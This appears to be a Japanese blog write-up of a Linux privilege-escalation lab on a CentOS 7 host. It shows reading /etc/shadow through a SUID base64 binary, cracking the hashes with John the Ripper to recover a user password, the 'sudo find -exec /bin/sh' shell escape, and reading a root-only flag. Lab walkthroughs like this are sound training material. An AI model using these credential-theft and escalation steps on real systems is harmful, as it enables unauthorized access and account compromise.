BUG_REPORT_URL="http://cern.ch/linux/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

findコマンドでflag1.txtの場所を特定しようとしたが見つからなかった。おそらくユーザーleonardにはアクセス権のないディレクトリにファイルが存在するためと思われる。

[leonard@ip-10-10-59-229 ~]$ find / -name flag1.txt 2>/dev/null
[leonard@ip-10-10-59-229 ~]$ 

ちなみにユーザーleonardsudoを使えない。

[leonard@ip-10-10-59-229 ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for leonard: 
Sorry, user leonard may not run sudo on ip-10-10-59-229.

何か手掛かりが見つからないかと思い、ユーザーleonard.bash_historyを覗いてみた。

[leonard@ip-10-10-59-229 ~]$ more .bash_history
ls
cd ..
exit
ls
cd çç
cd ..
ls
cd home/
ls
cd missy/
su missy 
ls
cd ..
ls
cd rootflag/
ls
cat flag2.txt 
su root
ls
cd rootflag/
su missy

上記より、以下のことが読み取れる。

  • /home/missyへ移動し、ユーザーmissyに切り替えようとしている。
  • /home/rootflagへ移動し、flag2.txtというファイルを開こうとしている。

/home以下にはleonardのほかにmissyrootflagというディレクトリがあった。


[leonard@ip-10-10-59-229 home]$ ls -la
total 4
drwxr-xr-x.  5 root    root      50 Jun  7  2021 .
dr-xr-xr-x. 18 root    root     235 Jun  7  2021 ..
drwx------.  7 leonard leonard  197 Jun  7  2021 leonard
drwx------. 16 missy   missy   4096 Jun  7  2021 missy
drwx------.  2 root    root      23 Jun  7  2021 rootflag

ディレクトリmissyの所有者はmissyで、ディレクトリrootflagの所有者はrootである。

ユーザーmissyに切り替えることができれば、何か次の手掛かりが見つかるかもしれない。

試しにsu missymissyに切り替わろうとしたが、パスワードが分からなかったため失敗した。

まずはmissyのパスワードを割り出す必要がある。そのためには/etc/passwd/etc/shadowの中身を抽出してunshadowし、John The Ripperでパスワードをクラックすれば良い。

/etc/passwdはどのユーザーでも読み取り可能だが、/etc/shadowrootユーザーのみが読み取ることが出来る。

以下のコマンドで所有者がrootで且つSUIDとGUIDがセットされたバイナリを列挙してみた。

find / -type f -perm -04000 -ls 2>/dev/null
[leonard@ip-10-10-59-229 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966   40 -rwsr-xr-x   1 root     root        37360 Aug 20  2019 /usr/bin/base64
17298702   60 -rwsr-xr-x   1 root     root        61320 Sep 30  2020 /usr/bin/ksu
17261777   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018 /usr/bin/fusermount
17512336   28 -rwsr-xr-x   1 root     root        27856 Apr  1  2020 /usr/bin/passwd
17698538   80 -rwsr-xr-x   1 root     root        78408 Aug  9  2019 /usr/bin/gpasswd
17698537   76 -rwsr-xr-x   1 root     root        73888 Aug  9  2019 /usr/bin/chage
17698541   44 -rwsr-xr-x   1 root     root        41936 Aug  9  2019 /usr/bin/newgrp
17702679  208 ---s--x---   1 root     stapusr    212080 Oct 13  2020 /usr/bin/staprun
17743302   24 -rws--x--x   1 root     root        23968 Sep 30  2020 /usr/bin/chfn
17743352   32 -rwsr-xr-x   1 root     root        32128 Sep 30  2020 /usr/bin/su
17743305   24 -rws--x--x   1 root     root        23880 Sep 30  2020 /usr/bin/chsh
17831141 2392 -rwsr-xr-x   1 root     root      2447304 Apr  1  2020 /usr/bin/Xorg
17743338   44 -rwsr-xr-x   1 root     root        44264 Sep 30  2020 /usr/bin/mount
17743356   32 -rwsr-xr-x   1 root     root        31984 Sep 30  2020 /usr/bin/umount
17812176   60 -rwsr-xr-x   1 root     root        57656 Aug  9  2019 /usr/bin/crontab
17787689   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
18382172   52 -rwsr-xr-x   1 root     root        53048 Oct 30  2018 /usr/bin/at
20386935  144 ---s--x--x   1 root     root       147336 Sep 30  2020 /usr/bin/sudo
34469385   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
34469387   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
36070283   12 -rwsr-xr-x   1 root     root        11296 Oct 13  2020 /usr/sbin/usernetctl
35710927   40 -rws--x--x   1 root     root        40328 Aug  9  2019 /usr/sbin/userhelper
38394204  116 -rwsr-xr-x   1 root     root       117432 Sep 30  2020 /usr/sbin/mount.nfs
958368   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
37709347   12 -rwsr-xr-x   1 root     root        11128 Oct 13  2020 /usr/libexec/kde4/kpac_dhcp_helper
51455908   60 -rwsr-x---   1 root     dbus        57936 Sep 30  2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
17836404   16 -rwsr-xr-x   1 root     root        15448 Apr  1  2020 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
18393221   16 -rwsr-xr-x   1 root     root        15360 Oct  1  2020 /usr/libexec/qemu-bridge-helper
37203442  156 -rwsr-x---   1 root     sssd       157872 Oct 15  2020 /usr/libexec/sssd/krb5_child
37203771   84 -rwsr-x---   1 root     sssd        82448 Oct 15  2020 /usr/libexec/sssd/ldap_child
37209171   52 -rwsr-x---   1 root     sssd        49592 Oct 15  2020 /usr/libexec/sssd/selinux_child
37209165   28 -rwsr-x---   1 root     sssd        27792 Oct 15  2020 /usr/libexec/sssd/proxy_child
18270608   16 -rwsr-sr-x   1 abrt     abrt        15344 Oct  1  2020 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
18535928   56 -rwsr-xr-x   1 root     root        53776 Mar 18  2020 /usr/libexec/flatpak-bwrap

上記より、base64コマンドが目に留まった。GTFOBinsによるとbase64コマンドはファイルの読み出しに使えそうである。

以下のコマンドでrootのみが読み取り可能な/etc/shadowの中身を読み出すことが出来た。

base64 /etc/shadow | base64 -d

/etc/passwd/etc/shadowの中身をそれぞれpasswd.txtshadow.txtとして保存し、unshadowした。

unshadow passwd.txt shadow.txt > passwords.txt

rockyou.txtを用いてJohn The Ripperでpasswords.txtからパスワードをクラッキングした。

john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (missy)

missyのパスワードはPassword1と判明した。

クラックしたパスワードを使って、ユーザーmissyに切り替わることができた。

[leonard@ip-10-10-59-229 ~]$ su missy
Password: 
[missy@ip-10-10-59-229 leonard]$ whoami
missy
[missy@ip-10-10-59-229 leonard]$ id
uid=1001(missy) gid=1001(missy) groups=1001(missy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[missy@ip-10-10-59-229 ~]$ pwd
/home/missy

以下は/home/missyの中身。

[missy@ip-10-10-59-229 ~]$ ls -la
total 40
drwx------. 16 missy missy 4096 Jun  7  2021 .
drwxr-xr-x.  5 root  root    50 Jun  7  2021 ..
-rw-------.  1 missy missy  203 Jun  7  2021 .bash_history
-rw-r--r--.  1 missy missy   18 Apr  1  2020 .bash_logout
-rw-r--r--.  1 missy missy  193 Apr  1  2020 .bash_profile
-rw-r--r--.  1 missy missy  231 Apr  1  2020 .bashrc
drwxrwxr-x. 13 missy missy  270 Jun  7  2021 .cache
drwxrwxr-x. 15 missy missy  245 Jun  7  2021 .config
drwx------.  3 missy missy   25 Jun  7  2021 .dbus
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Desktop
drwxr-xr-x.  2 missy missy   23 Jun  7  2021 Documents
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Downloads
-rw-r--r--.  1 missy missy  334 Nov 27  2019 .emacs
-rw-------.  1 missy missy   16 Jun  7  2021 .esd_auth
-rw-------.  1 missy missy  310 Jun  7  2021 .ICEauthority
-rw-r--r--.  1 missy missy  172 Apr  1  2020 .kshrc
drwxrwxr-x.  3 missy missy   19 Jun  7  2021 .local
drwxr-xr-x.  4 missy missy   39 Jun  7  2021 .mozilla
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Music
drwxrwxr-x.  2 missy missy    6 Jun  7  2021 perl5
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Pictures
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Public
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Templates
drwxr-xr-x.  2 missy missy    6 Jun  7  2021 Videos
-rw-r--r--.  1 missy missy  658 Apr  7  2020 .zshrc

手掛かりを求めて、ユーザーmissy.bash_historyを覗いてみた。

[missy@ip-10-10-59-229 ~]$ more .bash_history
ls
cd missy/
ls
cd Do
cd Documents
ls
cat flag1.txt 
su root
quit
sudo -l
find . -exec /bin/sh \; -quit
find -exec /bin/sh \; -quit
sudo find /home -exec /bin/bash \;
ls
cd leonard/
cd rootflag/
su root

上記より、以下のことが読み取れる。

  • /home/missy/Documentsへ移動し、flag1.txtというファイルを開こうとしている。

/home/missy/Documentsflag1.txtを発見した。ファイルの所有者はmissyである。

[missy@ip-10-10-59-229 ~]$ cd Documents/
[missy@ip-10-10-59-229 Documents]$ ls -la
total 8
drwxr-xr-x.  2 missy missy   23 Jun  7  2021 .
drwx------. 16 missy missy 4096 Jun  7  2021 ..
-rw-r--r--.  1 missy missy   19 Jun  7  2021 flag1.txt

あとはflag1.txtを開くだけ。

cat /home/missy/Documents/flag1.txt

What is the content of the flag2.txt file?

ひとまず、ユーザーmissysudoを使えるか確認してみた。

[missy@ip-10-10-59-229 ~]$ sudo -l
Matching Defaults entries for missy on ip-10-10-59-229:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2
    QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User missy may run the following commands on ip-10-10-59-229:
    (ALL) NOPASSWD: /usr/bin/find

ユーザーmissyfindコマンドをsudoコマンドつきで実行できる模様。

findコマンドをsudoコマンドつきで実行して、flag2.txtの保存先を探してみた。

[missy@ip-10-10-59-229 ~]$ sudo find / -name flag2.txt 2>/dev/null
/home/rootflag/flag2.txt

/home/rootflag以下にflag2.txtを発見した。

/home/rootflagディレクトリはrootユーザーのみがアクセス可能で、このままではflag2.txtを読むことが出来ない。

drwx------.  2 root    root      23 Jun  7  2021 rootflag

先の設問で、base64コマンドがrootの所有で且つSUIDがセットされていることが判明している。

以下のコマンドでflag2.txtを読み出すことが出来た。

base64 /home/rootflag/flag2.txt | base64 -d

Leave a Reply

Your email address will not be published. Required fields are marked *